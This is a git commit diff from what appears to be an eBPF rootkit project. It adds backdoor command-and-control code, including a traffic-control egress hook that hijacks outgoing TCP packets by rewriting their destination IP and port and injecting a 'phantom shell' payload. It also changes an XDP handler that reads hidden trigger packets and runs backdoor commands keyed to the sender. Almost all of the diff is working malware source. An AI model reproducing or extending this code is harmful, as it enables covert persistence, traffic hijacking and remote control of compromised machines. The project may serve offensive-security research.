Completed the TC Hook and payload enlargment and substitution mechanisms. Only the packet recognition on the client side remains to work

This commit is contained in:
h3xduck
2022-05-11 17:31:38 -04:00
parent 567d8d706c
commit 28ed530aea
12 changed files with 2856 additions and 2801 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -135,7 +135,9 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
}
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
}else if(strncmp(buf, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){
printf("[" KGRN "INIT" RESET "]""The backdoor just signaled that everything is ready and working!");
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);

Binary file not shown.

Binary file not shown.

View File

@@ -12,6 +12,7 @@
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
#define CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT 8000
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10

View File

@@ -24,7 +24,7 @@ SEC("classifier/egress")
int classifier_egress(struct __sk_buff *skb){
void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end;
bpf_printk("TC egress classifier called\n");
//bpf_printk("TC egress classifier called\n");
//We are interested on parsing TCP/IP packets so let's assume we have one
//Ethernet header
@@ -57,12 +57,13 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK;
}
//We now proceed to scan for our backdoor packets
/*__u16 dest_port = ntohs(tcp->dest);
if(dest_port != SECRET_PACKET_DEST_PORT){
//We must avoid tampering with packets directed to 9000, this is just
//for testing in lo, since it makes us modify the trigger
__u16 src_port = ntohs(tcp->source);
if(src_port == CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT){
bpf_printk("PORT CHECK\n");
return TC_ACT_OK;
}*/
}
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
@@ -89,13 +90,12 @@ int classifier_egress(struct __sk_buff *skb){
if(ps_data == (void*)0){
//Phantom shell not active
bpf_printk("Phantom shell NOT active yet\n");
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
/*int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
}*/
return TC_ACT_OK;
}
if(ps_data->active == 0){
}else if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active right now\n");
return TC_ACT_OK;
}
@@ -109,42 +109,49 @@ int classifier_egress(struct __sk_buff *skb){
if(err<0){
bpf_printk("Fail to update map\n");
}
bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
bpf_printk("Phantom shell param payload: %s\n", ps_data->payload);
__u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
__u32 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
//bpf_printk("Payload: %s\n", payload);
//TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now
__u32 increment_len = sizeof(char)*64;
bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), 0);
if (ret < 0) {
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
return TC_ACT_OK;
}
bpf_printk("offset port: %u\n", offset_port);
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), 0);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
//We want to substitute the payload too.
bpf_printk("Payload: %s\n", payload);
if(payload_size>=64){
return TC_ACT_OK;
}
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
ret = bpf_skb_change_tail(skb, skb->len+increment_len, 0);
if (ret < 0) {
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
return TC_ACT_OK;
}
ret = bpf_skb_pull_data(skb, 0);
if(ret<0){
bpf_printk("Failed to pull data\n");
}
//After changing the packet bounds, all the boundaries must be check again
data = (void *)(__u64)skb->data;
data_end = (void *)(__u64)skb->data_end;
eth = data;
if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n");
return TC_ACT_OK;
}
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
@@ -155,17 +162,49 @@ int classifier_egress(struct __sk_buff *skb){
bpf_printk("TCP CHECK\n");
return TC_ACT_OK;
}
if(eth == (void*)0 || tcp == (void*)0 || ip == (void*)0){
return TC_ACT_OK;
}
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = data_end - payload_size;
if(payload<(char*)data || payload_size>=sizeof(char)*64){
if(payload_size>=sizeof(char)*64){
return TC_ACT_OK;
}
if(data>data_end){
return TC_ACT_OK;
}
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
__u32 offset = skb->len-payload_size-increment_len;
if(ps_data==(void*)0){
return TC_ACT_OK;
}
if(increment_len>skb->data_end-skb->data){
return TC_ACT_OK;
}
if(skb->data_end < skb->data + increment_len){
return TC_ACT_OK;
}
//Simple strlen
__u32 payload_char_len = 0;
for(int ii=0; ii<64; ii++){
if(ps_data->payload[ii]!='\0'){
payload_char_len++;
}else{
break;
}
}
if(payload_char_len>=increment_len|| payload_char_len<=0){
return TC_ACT_OK;
}
bpf_printk("New payload offset %i, writing %i bytes\n", offset, payload_char_len);
ret = bpf_skb_store_bytes(skb, offset, ps_data->payload, payload_char_len, 0);
if (ret < 0) {
bpf_printk("Failed to overwrite payload: %d\n", ret);
return TC_ACT_OK;
}
bpf_printk("Finished packet hijacking routine\n");
return TC_ACT_OK;

View File

@@ -49,7 +49,7 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
}
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size, __u32 s_ip, __u16 s_port){
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
@@ -166,10 +166,8 @@ backdoor_finish:
//If we reach this point then we received trigger packet
bpf_printk("Finished backdoor V1 check with success\n");
__u32 ip;
__u16 port;
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
__u32 ip = s_ip;
__u16 port = s_port;
execute_key_command(command_received, ip, port);

View File

@@ -104,7 +104,7 @@ int xdp_receive(struct xdp_md *ctx){
bpf_printk("G");
return XDP_PASS;
}
return manage_backdoor_trigger_v1(payload, payload_size);
return manage_backdoor_trigger_v1(payload, payload_size, ip->saddr, tcp->source);
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){

BIN
src/tc.o

Binary file not shown.

View File

@@ -149,7 +149,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port;
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);